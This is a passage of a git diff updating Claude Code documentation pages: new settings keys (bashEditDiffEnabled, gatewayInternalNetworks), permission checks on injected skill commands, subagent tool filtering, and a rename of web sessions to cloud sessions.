[per-command allowed domains](/docs/en/sandboxing#per-command-allowed-domains-in-auto-mode), in `dontAsk` mode it denies, in `bypassPermissions` mode and in interactive terminal plan-mode sessions where bypass is available it allows, and otherwise it asks you * **Default**: `false` ```json settings.json theme={null} @@ -2945,6 +2949,23 @@ Render screen-reader friendly output: flat text without decorative borders or an Requires Claude Code v2.1.181 or later. +### `bashEditDiffEnabled` + +Choose whether Claude Code records the files a Bash command changes in a Git repository. When it records them, you see their diff in the terminal after the command, and your [PostToolUse Bash hooks](/docs/en/hooks#bash) receive the changed-file list. + +Set the key to `true` to record them in every permission mode. Requires Claude Code v2.1.269 or later. + +* **Scope**: [`User or managed`](#scopes). A `true` counts only from your user settings, JSON passed with `--settings`, or [managed settings](/docs/en/managed-settings), so a `true` in a repository's `.claude/settings.json` or `.claude/settings.local.json` can't turn the recording on. A `false` in either repository file still turns it off unless a [higher-precedence](/docs/en/settings#settings-precedence) file sets `true`. +* **Type**: Boolean +* **Default**: unset, so Claude Code records changes in auto mode and `bypassPermissions` mode when it directs Claude to edit files through Bash +* **Per-session overrides**: [`CLAUDE_CODE_BASH_EDIT_DIFF`](/docs/en/env-vars) takes precedence over this key for one session + +```json settings.json theme={null} +{ + "bashEditDiffEnabled": true +} +``` + ### `companyAnnouncements` Show your organization's announcements to users at startup. When you list more than one, Claude Code picks one at random for each session; on a person's very first launch it shows the first entry. @@ -5333,6 +5354,26 @@ If a managed source sets an empty array, or a value Claude Code can't parse, Cla See [Restrict login to your organization](/docs/en/authentication#restrict-login-to-your-organization) for how Claude Code treats Claude Console logins, the other login paths, and environment credentials. +### `gatewayInternalNetworks` + +Declare the public IPv4 blocks that your organization numbers its internal network from, so `/login` accepts a [cloud gateway](/docs/en/claude-apps-gateway) there. Requires Claude Code v2.1.268 or later. + +Without this key, `/login` connects to any gateway on a private address and nothing else. With it, `/login` also accepts a gateway inside a listed block, over a direct connection only. The machine's own address on that connection must also be inside the same block. + +* **Scope**: [`Managed`](#scopes). Read only from a source on the machine: `managed-settings.json`, the macOS plist or Windows HKLM registry, or a policy helper. Claude Code ignores it in HKCU and server-managed settings. +* **Type**: array of strings, at most four IPv4 CIDR blocks, each `/8` to `/32`, not overlapping one another, and none overlapping private space. +* **Default**: unset, so `/login` accepts only gateways on private addresses + +```json managed-settings.json theme={null} +{ + "gatewayInternalNetworks": ["203.0.113.0/24"] +} +``` + +Replace the documentation range in the example with your own block. Claude Code refuses the documentation ranges, the ranges that VPN and NAT64 clients use locally, and reserved space that no network is numbered from, such as multicast. + +If an entry is invalid, or the value isn't a list of strings, `/login` names the problem and refuses every new gateway sign-in on the machine until you fix the value. Existing sign-ins keep working. See [Allow a gateway on public address space you own](/docs/en/claude-apps-gateway#allow-a-gateway-on-public-address-space-you-own) for the full rules and what developers see. + ### `gcpAuthRefresh` Run your own command to refresh Google Cloud Application Default Credentials when Claude Code finds they've expired or can't be loaded, so [Google Cloud's Agent Platform](/docs/en/google-vertex-ai) requests keep working without you re-authenticating by hand. @@ -5609,7 +5650,7 @@ Reject the `--plugin-dir`, `--plugin-url`, `--agents`, and `--mcp-config` CLI fl Claude Code still accepts a `--mcp-config` whose servers are all in-process `type: "sdk"` entries, so the Agent SDK and VS Code extension keep working. Users can still add servers with `claude mcp add` or a `.mcp.json` file; for per-server control, set [`allowedMcpServers`](/docs/en/managed-mcp) as well. Requires Claude Code v2.1.193 or later. -In cloud sessions, Claude Code also ignores server-delivered mid-session MCP updates, the path behind cloud session configuration and SDK `setMcpServers()` on remote workers. In-process `type: "sdk"` entries stay exempt there too. Before v2.1.239, a server-delivered `--mcp-config` blocked a cloud session from starting. +In cloud sessions, Claude Code also ignores server-delivered mid-session MCP updates, the path behind cloud session configuration and SDK `setMcpServers()` calls that reach those sessions. In-process `type: "sdk"` entries stay exempt there too. Before v2.1.239, a server-delivered `--mcp-config` blocked a cloud session from starting. ### `forceRemoteSettingsRefresh` @@ -5670,7 +5711,7 @@ A few keys add a condition that the table doesn't show: * **[`policyHelper`](#policyhelper)**: Claude Code honors it only when the highest source that carries a policy key is an MDM policy or a managed settings file, so under server-managed settings it doesn't apply. * **[`modelOverrides`](#modeloverrides)**: pairs with `availableModels`. Claude Code takes `modelOverrides` from the highest source that sets it, unless a higher source sets `availableModels` without `modelOverrides`. In that case it ignores `modelOverrides` from every source. -* **[`forceLoginGatewayUrl`](#forcelogingatewayurl) and the `"gateway"` value of [`forceLoginMethod`](#forceloginmethod)**: Claude Code never reads either from server-managed settings, so a value there neither applies nor hides one set in an MDM policy or managed settings file. Among the admin sources on the machine, only the highest-ranked one that carries a policy key supplies them, whether or not server-managed settings are also present. +* **[`forceLoginGatewayUrl`](#forcelogingatewayurl), [`gatewayInternalNetworks`](#gatewayinternalnetworks), and the `"gateway"` value of [`forceLoginMethod`](#forceloginmethod)**: Claude Code never reads any of them from server-managed settings, so a value there neither applies nor hides one set in an MDM policy or managed settings file. Among the admin sources on the machine, only the highest-ranked one that carries a policy key supplies them, whether or not server-managed settings are also present. To confirm which sources combined on a machine, run `/status` and [read the `Setting sources` line](/docs/en/managed-settings#read-the-source-in-/status). diff --git a/content/en/docs/claude-code/settings.md b/content/en/docs/claude-code/settings.md index 7f716fde8e..bc8cb7d9c8 100644 --- a/content/en/docs/claude-code/settings.md +++ b/content/en/docs/claude-code/settings.md @@ -379,7 +379,7 @@ Settings are the JSON keys that change how Claude Code behaves: which model it s Claude Code reads settings from JSON settings files such as `~/.claude/settings.json`. It looks for them in a few locations, and [the file it reads a setting from decides who the setting applies to](#settings-files-and-who-they-affect). This page covers those files: which one to put a setting in, how to change a setting and confirm it applied, and which value Claude Code uses when the same key is set in more than one file. [Configure permissions](/docs/en/permissions) covers what Claude Code can run without asking and how to write `allow`, `ask`, and `deny` rules. - This page covers Claude Code running on your machine: the terminal, the [VS Code](/docs/en/vs-code) and [JetBrains](/docs/en/jetbrains) extensions, and the [desktop app](/docs/en/desktop), which all read the same settings files. A cloud session on [Claude Code on the web](/docs/en/claude-code-on-the-web) runs on a different machine and reads only some of them; see [Settings in cloud sessions](#settings-in-cloud-sessions). + This page covers Claude Code running on your machine: the terminal, the [VS Code](/docs/en/vs-code) and [JetBrains](/docs/en/jetbrains) extensions, and the [desktop app](/docs/en/desktop), which all read the same settings files. A [cloud session](/docs/en/claude-code-on-the-web) runs on a different machine and reads only some of them; see [Settings in cloud sessions](#settings-in-cloud-sessions). @@ -460,7 +460,7 @@ Some of what you commit waits until each teammate [trusts the folder](/docs/en/p To change a setting for yourself in one project without changing it for your teammates, save it in `.claude/settings.local.json` inside the project. Claude Code applies that file over the committed `.claude/settings.json`, so if your team's file sets `"model": "claude-sonnet-5"` and you want Opus, put `"model": "claude-opus-4-8"` in your local file and only your sessions change. -Three things to know about the local file: +Claude Code also writes to this file, keeps it out of your commits, and applies its allow rules without the trust step: * **Claude Code writes it too.** When Claude asks permission to run a Bash command and you choose "Yes, and don't ask again", Claude Code saves that [permission approval](/docs/en/permissions#permission-system) here as an `allow` rule. * **You don't need to gitignore it yourself, unless you created it by hand.** The first time Claude Code writes the file in a git repository that doesn't already ignore it, it adds `**/.claude/settings.local.json` to your global git excludes file, so the file stays out of your commits in every repository. That file is `core.excludesFile` when your global git config sets it to an absolute or `~`-prefixed path; otherwise it's `$XDG_CONFIG_HOME/git/ignore`, or `~/.config/git/ignore` when `XDG_CONFIG_HOME` is unset. If you created the file by hand and Claude Code hasn't written to it yet, add it to `.gitignore` yourself. @@ -713,7 +713,7 @@ Managed sources reach a running session on the schedule in the [delivery table]( Two things keep a key in `.claude/settings.json` from applying for everyone who clones it: -* **Claude Code ignores the key in a repository file.** Look for `User, local, or managed`, `User or managed`, `Managed`, or `Global config` in the Scope column of the [settings index](/docs/en/settings-reference#settings-index); those keys never apply from the shared file, apart from [`autoContinueAtUsageLimit`](/docs/en/settings-reference#autocontinueatusagelimit), which a repository file can still switch off: while the file sets the key and no user, `--settings`, or managed value does, Claude Code reads the setting as off. `Global config` keys apply only from `~/.claude.json`. +* **Claude Code ignores the key in a repository file.** Look for `User, local, or managed`, `User or managed`, `Managed`, or `Global config` in the Scope column of the [settings index](/docs/en/settings-reference#settings-index). Those keys never apply from the shared file, apart from a few that a repository file can still switch off. Each of those entries says so on its Scope line. `Global config` keys apply only from `~/.claude.json`. * **The key waits for trust.** `permissions.allow` rules, `permissions.additionalDirectories`, `extraKnownMarketplaces`, and most [`env`](/docs/en/settings-reference#env) values apply only after each teammate [trusts the folder](/docs/en/permissions#project-allow-rules-and-workspace-trust). Until then they still see prompts and don't get plugins from a marketplace the file declares. `deny` and `ask` rules apply right away. #### Permission rules combine differently than you expected @@ -742,12 +742,12 @@ An app that runs Claude Code inside itself and sets [`CLAUDE_CODE_PROVIDER_MANAG ## Settings in cloud sessions -A cloud session, on [Claude Code on the web](/docs/en/claude-code-on-the-web) or from [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web), runs in a [cloud environment](/docs/en/cloud-environments) on a fresh clone of your repository, not on your machine. That changes which settings reach it: +A [cloud session](/docs/en/claude-code-on-the-web) runs in a [cloud environment](/docs/en/cloud-environments) on a fresh clone of your repository, not on your machine. That changes which settings reach it: * **Shared project settings** (`.claude/settings.json`): read, because the file is part of the clone. Commit a setting there to apply it in cloud sessions. * **User and project local settings** (`~/.claude/settings.json` and `.claude/settings.local.json`): not read. Both stay on your machine, and the local file isn't in the clone. * **Managed settings**: only [server-managed settings](/docs/en/server-managed-settings) reach a cloud session; a `managed-settings.json` file or MDM profile on your device doesn't. A [self-hosted environment](/docs/en/self-hosted-environments) also reads the managed settings file in its runner image. [How Claude Code combines managed sources](/docs/en/managed-settings#how-claude-code-combines-managed-sources) says when that file applies. -* **`/config`**: on the web, opens the Claude Code section of your claude.ai settings instead of changing a value. To change a setting for a cloud session, set an [environment variable](/docs/en/cloud-environments#set-environment-variables) on the environment or commit the key to the repository's `.claude/settings.json`. +* **`/config`**: in your browser at claude.ai/code, opens the Claude Code section of your claude.ai settings instead of changing a value. To change a setting for a cloud session, set an [environment variable](/docs/en/cloud-environments#set-environment-variables) on the environment or commit the key to the repository's `.claude/settings.json`. [What carries over from your setup](/docs/en/cloud-environments#what-carries-over-from-your-setup) lists the rest: `CLAUDE.md`, skills, MCP servers, plugins, and credentials. diff --git a/content/en/docs/claude-code/setup.md b/content/en/docs/claude-code/setup.md index 1b3d87b387..83f77bdfa4 100644 --- a/content/en/docs/claude-code/setup.md +++ b/content/en/docs/claude-code/setup.md @@ -188,7 +188,7 @@ claude doctor ## Authenticate -Claude Code requires a Pro, Max, Team, Enterprise, or Console account. The free Claude.ai plan does not include Claude Code access. You can also use Claude Code with a third-party API provider like [Amazon Bedrock](/docs/en/amazon-bedrock), [Google Cloud's Agent Platform](/docs/en/google-vertex-ai), or [Microsoft Foundry](/docs/en/microsoft-foundry). +Claude Code requires a Pro, Max, Team, Enterprise, or Console account. The free claude.ai plan does not include Claude Code access. You can also use Claude Code with a third-party API provider like [Amazon Bedrock](/docs/en/amazon-bedrock), [Google Cloud's Agent Platform](/docs/en/google-vertex-ai), or [Microsoft Foundry](/docs/en/microsoft-foundry). After installing, log in by running `claude` and following the browser prompts. If the `ANTHROPIC_API_KEY` environment variable is set, Claude Code prompts you once to approve the key instead of opening a browser. See [Authentication](/docs/en/authentication) for all account types and team setup options. diff --git a/content/en/docs/claude-code/skills.md b/content/en/docs/claude-code/skills.md index aa6cb2d288..b3fba0b350 100644 --- a/content/en/docs/claude-code/skills.md +++ b/content/en/docs/claude-code/skills.md @@ -173,7 +173,7 @@ When two skills share a name, where each one came from decides which one `/name` [Cowork](https://claude.com/product/cowork) sessions and [cloud sessions](/docs/en/cloud-environments#what-carries-over-from-your-setup), including [routines](/docs/en/routines), don't read `~/.claude/skills/` on your machine. Both interactive and scheduled Cowork sessions load the skills enabled for your claude.ai account, synced at session start; manage them from **Customize** in the Desktop app sidebar or from the skills settings on claude.ai. Cloud sessions additionally load project skills committed to the cloned repository's `.claude/skills/`. -If a skill exists only in `~/.claude/skills/` on your machine, Claude Code reports that the skill was not found when a [routine](/docs/en/routines) invokes it, because each routine run starts as a fresh remote session. To make a personal skill available in these sessions: +If a skill exists only in `~/.claude/skills/` on your machine, Claude Code reports that the skill was not found when a [routine](/docs/en/routines) invokes it, because each routine run starts as a fresh cloud session. To make a personal skill available in these sessions: * For Cowork and cloud sessions, enable the skill for your claude.ai account. * For cloud sessions, you can instead commit the skill to the repository's `.claude/skills/`, or ship it in a plugin declared in the repository's `.claude/settings.json`. Repo-declared plugins [install at session start](/docs/en/cloud-environments#what-carries-over-from-your-setup); plugins enabled only in your user settings don't transfer. @@ -669,9 +669,13 @@ Which commands get the carveout depends on the shell: With the default `bash` shell, append `|| true` to any other command you expect to exit non-zero. A check script that exits 1 when it finds problems is one example. -Injected commands never prompt for permission. When a command's permission check returns anything other than allow, Claude Code aborts the invocation. This includes a rule that would normally ask you. The abort shows `Shell command permission check failed for pattern "..."`. +#### Permission checks on injected commands -To keep an unmatched command from aborting here, pre-approve it with [`allowed-tools`](#pre-approve-tools-for-a-skill). A matching ask or deny rule still aborts the invocation regardless of `allowed-tools`. See [Manage permissions](/docs/en/permissions#manage-permissions). +Injected commands never prompt for permission while the skill renders. Claude Code checks each one against your [permission rules](/docs/en/permissions) first. A command a deny rule matches aborts the invocation with `Shell command permission check failed for pattern "..."`. + +Outside [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode), when a command's permission check returns anything other than allow, Claude Code aborts the invocation with the same error. This includes a rule that would normally ask you. To keep an unmatched command from aborting here, pre-approve it with [`allowed-tools`](#pre-approve-tools-for-a-skill). Deny and ask rules still override `allowed-tools`. See [Manage permissions](/docs/en/permissions#manage-permissions). + +In auto mode, a command that would otherwise need your approval doesn't abort the invocation. The skill loads with an instruction telling Claude to run the command first, and Claude's own call then goes through [auto mode's usual checks](/docs/en/permission-modes#how-the-classifier-evaluates-actions). The invocation still aborts in a [forked skill](#run-skills-in-a-subagent) that sets `agent`, and in a session where Claude doesn't have the [shell tool that runs injected commands](#how-injected-commands-run). ### Run skills in a subagent @@ -815,7 +819,7 @@ The report covers the skills in your session other than bundled skills and enter ## Evaluate and iterate on a skill -Seeing a skill trigger tells you Claude found it, not that it did what you intended. To know a skill is working, measure two things separately: whether Claude invokes it on the prompts it should, and whether the output matches what you expect when it does. +Seeing a skill trigger tells you Claude found it, not that it did what you intended. To know a skill is working, measure separately whether Claude invokes it on the prompts it should, and whether the output matches what you expect when it does. The check for both is a baseline comparison. Collect a few realistic prompts, run each one in a fresh session with the skill available and again with it [disabled](#override-skill-visibility-from-settings), and compare the results. A fresh session matters because leftover context from authoring the skill will mask gaps in the written instructions. diff --git a/content/en/docs/claude-code/slack.md b/content/en/docs/claude-code/slack.md index f355aff722..00da894c16 100644 --- a/content/en/docs/claude-code/slack.md +++ b/content/en/docs/claude-code/slack.md @@ -13,9 +13,9 @@ * **Pro and Max plans:** Claude Tag isn't available on individual plans, so this page remains the setup path. -Claude Code in Slack brings the power of Claude Code directly into your Slack workspace. When you mention `@Claude` with a coding task, Claude automatically detects the intent and creates a Claude Code session on the web, allowing you to delegate development work without leaving your team conversations. +Claude Code in Slack brings the power of Claude Code directly into your Slack workspace. When you mention `@Claude` with a coding task, Claude automatically detects the intent and creates a Claude Code cloud session, allowing you to delegate development work without leaving your team conversations. -This integration is built on the existing Claude for Slack app but adds intelligent routing to Claude Code on the web for coding-related requests. Each session runs under your own Claude account, using your connected repositories and your plan limits. +This integration is built on the existing Claude for Slack app but adds intelligent routing to Claude Code cloud sessions for coding-related requests. Each session runs under your own Claude account, using your connected repositories and your plan limits. ## Use cases @@ -28,12 +28,12 @@ This integration is built on the existing Claude for Slack app but adds intellig Before using Claude Code in Slack, ensure you have the following: -| Requirement | Details | -| :--------------------- | :------------------------------------------------------------------------------------------------ | -| Claude Plan | Pro, Max, Team, or Enterprise with Claude Code access (premium seats or Chat + Claude Code seats) | -| Claude Code on the web | Access to [Claude Code on the web](/docs/en/claude-code-on-the-web) must be enabled | -| GitHub Account | Connected to Claude Code on the web with at least one repository authenticated | -| Slack Authentication | Your Slack account linked to your Claude account via the Claude app | +| Requirement | Details | +| :------------------- | :------------------------------------------------------------------------------------------------ | +| Claude Plan | Pro, Max, Team, or Enterprise with Claude Code access (premium seats or Chat + Claude Code seats) | +| Cloud sessions | [Cloud sessions](/docs/en/claude-code-on-the-web) are enabled for your account | +| GitHub Account | Connected at [claude.ai/code](https://claude.ai/code) with at least one repository authenticated | +| Slack Authentication | Your Slack account linked to your Claude account via the Claude app | ## Setting up Claude Code in Slack @@ -46,13 +46,13 @@ Before using Claude Code in Slack, ensure you have the following: After the app is installed, authenticate your individual Claude account: 1. Open the Claude app in Slack by clicking on "Claude" in your Apps section - 2. Navigate to the App Home tab + 2. Open the App Home tab 3. Click "Connect" to link your Slack account with your Claude account 4. Complete the authentication flow in your browser - - Ensure your Claude Code on the web is properly configured: + + Ensure cloud sessions are properly configured for your account: * Visit [claude.ai/code](https://claude.ai/code) and sign in with the same account you connected to Slack * Connect your GitHub account if not already connected @@ -60,7 +60,7 @@ Before using Claude Code in Slack, ensure you have the following: - After connecting your accounts, configure how Claude handles your messages in Slack. Navigate to the Claude App Home in Slack to find the **Routing Mode** setting. + After connecting your accounts, configure how Claude handles your messages in Slack. Open the Claude App Home in Slack to find the **Routing Mode** setting. | Mode | Behavior | | :-------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -81,7 +81,7 @@ Before using Claude Code in Slack, ensure you have the following: ### Automatic detection -In Code + Chat routing mode, when you mention @Claude in a Slack channel or thread, Claude automatically detects whether your message is a coding task. Coding tasks go to Claude Code on the web. Anything else gets a regular chat reply. In Code only mode, every @mention goes to Claude Code. +In Code + Chat routing mode, when you mention @Claude in a Slack channel or thread, Claude automatically detects whether your message is a coding task. Coding tasks go to a Claude Code cloud session. Anything else gets a regular chat reply. In Code only mode, every @mention goes to Claude Code. You can also explicitly tell Claude to handle a request as a coding task, even if it doesn't automatically detect it. @@ -117,7 +117,7 @@ This context helps Claude understand the problem, select the appropriate reposit * **View Session**: Opens the full Claude Code session in your browser where you can see all work performed, continue the session, or make additional requests. * **Create PR**: Creates a pull request directly from the session's changes. * **Retry as Code**: If Claude initially responds as a chat assistant but you wanted a coding session, click this button to retry the request as a Claude Code task. -* **Change Repo**: Allows you to select a different repository if Claude chose incorrectly. +* **Change Repo**: Lets you select a different repository if Claude chose incorrectly. ### Repository selection @@ -152,10 +152,10 @@ Installing the app doesn't add Claude to any channels. Claude responds to @menti **In Slack**: You'll see status updates, completion summaries, and action buttons. The full transcript is preserved and always accessible. -**On the web**: The complete Claude Code session with full conversation history, all code changes, and file operations. Sessions stay in your Claude Code history at [claude.ai/code](https://claude.ai/code), where you can continue past sessions, reference them, or create pull requests. +**At claude.ai/code**: The complete Claude Code session with full conversation history, all code changes, and file operations. Sessions stay in your Claude Code history at [claude.ai/code](https://claude.ai/code), where you can continue past sessions, reference them, or create pull requests. For Enterprise and Team accounts, sessions created from Claude in Slack are -automatically visible to the organization. See [Claude Code on the Web sharing](/docs/en/claude-code-on-the-web#share-sessions) +automatically visible to the organization. See [cloud session sharing](/docs/en/claude-code-on-the-web#share-sessions) for more details. ## Best practices @@ -164,12 +164,12 @@ for more details. * **Be specific**: Include file names, function names, or error messages when relevant. * **Provide context**: Mention the repository or project if it's not clear from the conversation. -* **Define success**: Explain what "done" looks like—should Claude write tests? Update documentation? Create a PR? +* **Define success**: Explain what "done" looks like. Should Claude write tests? Update documentation? Create a PR? * **Use threads**: Reply in threads when discussing bugs or features so Claude can gather the full context. ### When to use Slack vs. web -**Use Slack when**: Context already exists in a Slack discussion, you want to kick off a task asynchronously, or you're collaborating with teammates who need visibility. +**Use Slack when**: Context already exists in a Slack discussion, you want to start a task asynchronously, or you're collaborating with teammates who need visibility. **Use the web directly when**: You need to upload files, want real-time interaction during development, or are working on longer, more complex tasks. @@ -182,7 +182,7 @@ This error means your Claude account has no cloud environment yet. Sign in at [c ### Sessions not starting 1. Verify your Claude account is connected in the Claude App Home -2. Check that you have Claude Code on the web access enabled +2. Check that cloud sessions are enabled for your account 3. Ensure you have at least one GitHub repository connected to Claude Code ### Sessions from a Claude Tag channel fail to start @@ -198,7 +198,7 @@ If you're not an Owner, send this entry to one. ### Repository not showing -1. Connect the repository in Claude Code on the web at [claude.ai/code](https://claude.ai/code) +1. Connect the repository at [claude.ai/code](https://claude.ai/code) 2. Verify your GitHub permissions for that repository 3. Try disconnecting and reconnecting your GitHub account @@ -217,13 +217,13 @@ If you're not an Owner, send this entry to one. * **GitHub only**: repositories must be on GitHub. * **One PR at a time**: each session can create one pull request. -* **Web access required**: users need access to Claude Code on the web; without it, Claude replies with standard chat responses. +* **Cloud session access required**: users need access to [cloud sessions](/docs/en/claude-code-on-the-web); without it, Claude replies with standard chat responses. ## Related resources - - Learn more about Claude Code on the web + + Learn more about cloud sessions diff --git a/content/en/docs/claude-code/slash-commands.md b/content/en/docs/claude-code/slash-commands.md index aa6cb2d288..b3fba0b350 100644 --- a/content/en/docs/claude-code/slash-commands.md +++ b/content/en/docs/claude-code/slash-commands.md @@ -173,7 +173,7 @@ When two skills share a name, where each one came from decides which one `/name` [Cowork](https://claude.com/product/cowork) sessions and [cloud sessions](/docs/en/cloud-environments#what-carries-over-from-your-setup), including [routines](/docs/en/routines), don't read `~/.claude/skills/` on your machine. Both interactive and scheduled Cowork sessions load the skills enabled for your claude.ai account, synced at session start; manage them from **Customize** in the Desktop app sidebar or from the skills settings on claude.ai. Cloud sessions additionally load project skills committed to the cloned repository's `.claude/skills/`. -If a skill exists only in `~/.claude/skills/` on your machine, Claude Code reports that the skill was not found when a [routine](/docs/en/routines) invokes it, because each routine run starts as a fresh remote session. To make a personal skill available in these sessions: +If a skill exists only in `~/.claude/skills/` on your machine, Claude Code reports that the skill was not found when a [routine](/docs/en/routines) invokes it, because each routine run starts as a fresh cloud session. To make a personal skill available in these sessions: * For Cowork and cloud sessions, enable the skill for your claude.ai account. * For cloud sessions, you can instead commit the skill to the repository's `.claude/skills/`, or ship it in a plugin declared in the repository's `.claude/settings.json`. Repo-declared plugins [install at session start](/docs/en/cloud-environments#what-carries-over-from-your-setup); plugins enabled only in your user settings don't transfer. @@ -669,9 +669,13 @@ Which commands get the carveout depends on the shell: With the default `bash` shell, append `|| true` to any other command you expect to exit non-zero. A check script that exits 1 when it finds problems is one example. -Injected commands never prompt for permission. When a command's permission check returns anything other than allow, Claude Code aborts the invocation. This includes a rule that would normally ask you. The abort shows `Shell command permission check failed for pattern "..."`. +#### Permission checks on injected commands -To keep an unmatched command from aborting here, pre-approve it with [`allowed-tools`](#pre-approve-tools-for-a-skill). A matching ask or deny rule still aborts the invocation regardless of `allowed-tools`. See [Manage permissions](/docs/en/permissions#manage-permissions). +Injected commands never prompt for permission while the skill renders. Claude Code checks each one against your [permission rules](/docs/en/permissions) first. A command a deny rule matches aborts the invocation with `Shell command permission check failed for pattern "..."`. + +Outside [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode), when a command's permission check returns anything other than allow, Claude Code aborts the invocation with the same error. This includes a rule that would normally ask you. To keep an unmatched command from aborting here, pre-approve it with [`allowed-tools`](#pre-approve-tools-for-a-skill). Deny and ask rules still override `allowed-tools`. See [Manage permissions](/docs/en/permissions#manage-permissions). + +In auto mode, a command that would otherwise need your approval doesn't abort the invocation. The skill loads with an instruction telling Claude to run the command first, and Claude's own call then goes through [auto mode's usual checks](/docs/en/permission-modes#how-the-classifier-evaluates-actions). The invocation still aborts in a [forked skill](#run-skills-in-a-subagent) that sets `agent`, and in a session where Claude doesn't have the [shell tool that runs injected commands](#how-injected-commands-run). ### Run skills in a subagent @@ -815,7 +819,7 @@ The report covers the skills in your session other than bundled skills and enter ## Evaluate and iterate on a skill -Seeing a skill trigger tells you Claude found it, not that it did what you intended. To know a skill is working, measure two things separately: whether Claude invokes it on the prompts it should, and whether the output matches what you expect when it does. +Seeing a skill trigger tells you Claude found it, not that it did what you intended. To know a skill is working, measure separately whether Claude invokes it on the prompts it should, and whether the output matches what you expect when it does. The check for both is a baseline comparison. Collect a few realistic prompts, run each one in a fresh session with the skill available and again with it [disabled](#override-skill-visibility-from-settings), and compare the results. A fresh session matters because leftover context from authoring the skill will mask gaps in the written instructions. diff --git a/content/en/docs/claude-code/statusline.md b/content/en/docs/claude-code/statusline.md index 197103cc94..499b959b17 100644 --- a/content/en/docs/claude-code/statusline.md +++ b/content/en/docs/claude-code/statusline.md @@ -76,7 +76,7 @@ Run `/statusline` and ask it to remove or clear your status line (e.g., `/status ## Build a status line step by step -This walkthrough shows what's happening under the hood by manually creating a status line that displays the current model, working directory, and context window usage percentage. +This walkthrough shows what `/statusline` sets up for you by manually creating a status line that displays the current model, working directory, and context window usage percentage. Running [`/statusline`](#use-the-%2Fstatusline-command) with a description of what you want configures all of this for you automatically. @@ -336,7 +336,7 @@ Claude Code sends the following JSON fields to your script via stdin: * `agent`: appears only when running with the `--agent` flag or agent settings configured * `pr`: appears only while an open PR or GitLab merge request is found for the current branch, and is removed once it merges or closes. `pr.review_state` and `pr.kind` may be independently absent * `worktree`: appears only while the session is in a [worktree session](/docs/en/worktrees). When present, `branch` and `original_branch` may also be absent for hook-based worktrees - * `rate_limits`: appears only for Claude.ai Pro and Max subscribers, or behind a Claude apps gateway that sets a spend limit for you, and only after the first API response in the session. Each window (`five_hour`, `seven_day`, `spend_limit`) may be independently absent, and Claude Code drops a window once its `resets_at` time passes. Use `jq -r '.rate_limits.five_hour.used_percentage // empty'` to handle absence gracefully. + * `rate_limits`: appears only for claude.ai Pro and Max subscribers, or behind a Claude apps gateway that sets a spend limit for you, and only after the first API response in the session. Each window (`five_hour`, `seven_day`, `spend_limit`) may be independently absent, and Claude Code drops a window once its `resets_at` time passes. Use `jq -r '.rate_limits.five_hour.used_percentage // empty'` to handle absence gracefully. * `prompt_cache`: appears after the main conversation's first API response. See [prompt cache fields](#prompt-cache-fields) **Fields that may be `null`**: @@ -828,11 +828,11 @@ Each script gets the git remote URL, converts SSH format to HTTPS, and wraps the ### Rate limit usage -Display Claude.ai subscription rate limit usage in the status line. The `rate_limits` object contains a rolling `five_hour` window and a weekly `seven_day` window. Each window provides `used_percentage`, from 0 to 100, and `resets_at`, the Unix epoch seconds when the window resets. +Display claude.ai subscription rate limit usage in the status line. The `rate_limits` object contains a rolling `five_hour` window and a weekly `seven_day` window. Each window provides `used_percentage`, from 0 to 100, and `resets_at`, the Unix epoch seconds when the window resets. Behind a Claude apps gateway with spend limits, `rate_limits` carries `spend_limit` with the same two fields for the spend limit that applies to you, except that its `used_percentage` can go above 100 once you exceed the limit. Requires Claude Code v2.1.251 or later. -The `rate_limits` object is only present for Claude.ai Pro and Max subscribers, or behind a Claude apps gateway with spend limits, and only after the first API response. Each script handles the absent field gracefully: +The `rate_limits` object is only present for claude.ai Pro and Max subscribers, or behind a Claude apps gateway with spend limits, and only after the first API response. Each script handles the absent field gracefully: ```bash Bash theme={null} diff --git a/content/en/docs/claude-code/sub-agents.md b/content/en/docs/claude-code/sub-agents.md index a771ac9538..95d649e72d 100644 --- a/content/en/docs/claude-code/sub-agents.md +++ b/content/en/docs/claude-code/sub-agents.md @@ -418,7 +418,7 @@ Subagents inherit the [built-in tools](/docs/en/tools-reference) and MCP tools a * `WaitForMcpServers` * `Workflow` -The second filter applies to subagents running in the background. Apart from `Agent` and `ExitPlanMode`, which follow the first filter's conditions wherever the subagent runs, a background subagent keeps every MCP tool but only these built-in tools: `Read`, `Grep`, `Glob`, `Bash`, `PowerShell`, `Edit`, `Write`, `NotebookEdit`, `WebFetch`, `WebSearch`, `TodoWrite`, `Skill`, `ToolSearch`, `EnterWorktree`, `ExitWorktree`, `Monitor`, `TaskStop`, `SendMessage`, and `Artifact`. Claude Code removes every other built-in tool from a background subagent, whether inherited or listed in the `tools` field, so the same definition can resolve to different tools in the foreground and the background. The removal reports no error unless it leaves the `tools` list [resolving to nothing](/docs/en/errors#agent-would-be-spawned-with-zero-tools). +The second filter applies to subagents running in the background. Apart from `Agent` and `ExitPlanMode`, which follow the first filter's conditions wherever the subagent runs, a background subagent keeps every MCP tool but only these built-in tools: `Read`, `Grep`, `Glob`, `Bash`, `PowerShell`, `Edit`, `Write`, `NotebookEdit`, `WebFetch`, `WebSearch`, `TodoWrite`, `Skill`, `ToolSearch`, `EnterWorktree`, `ExitWorktree`, `Monitor`, `TaskStop`, `SendMessage`, and `Artifact`, plus [`SubagentHandback`](/docs/en/tools-reference) for a subagent that reports through it. Claude Code removes every other built-in tool from a background subagent, whether inherited or listed in the `tools` field, so the same definition can resolve to different tools in the foreground and the background. The removal reports no error unless it leaves the `tools` list [resolving to nothing](/docs/en/errors#agent-would-be-spawned-with-zero-tools). [`ListAgents`](/docs/en/cross-session-messaging) follows these filters like any built-in tool: a foreground subagent inherits it in sessions where cross-session messaging is enabled, and a background subagent doesn't keep it. @@ -551,7 +551,7 @@ Set `permissionMode` to choose the permission mode a subagent runs in. Use the m The main conversation's permission mode decides whether Claude Code uses the value you set: -* When the main conversation is in `bypassPermissions`, `acceptEdits`, or [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode), the subagent runs in that same mode and Claude Code ignores the `permissionMode` you set. Under auto mode, the classifier evaluates the subagent's tool calls with the main conversation's block and allow rules. +* When the main conversation is in `bypassPermissions`, `acceptEdits`, or [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode), the subagent runs in that same mode and Claude Code ignores the `permissionMode` you set. Under auto mode, the classifier evaluates the subagent's tool calls with the main conversation's block and allow 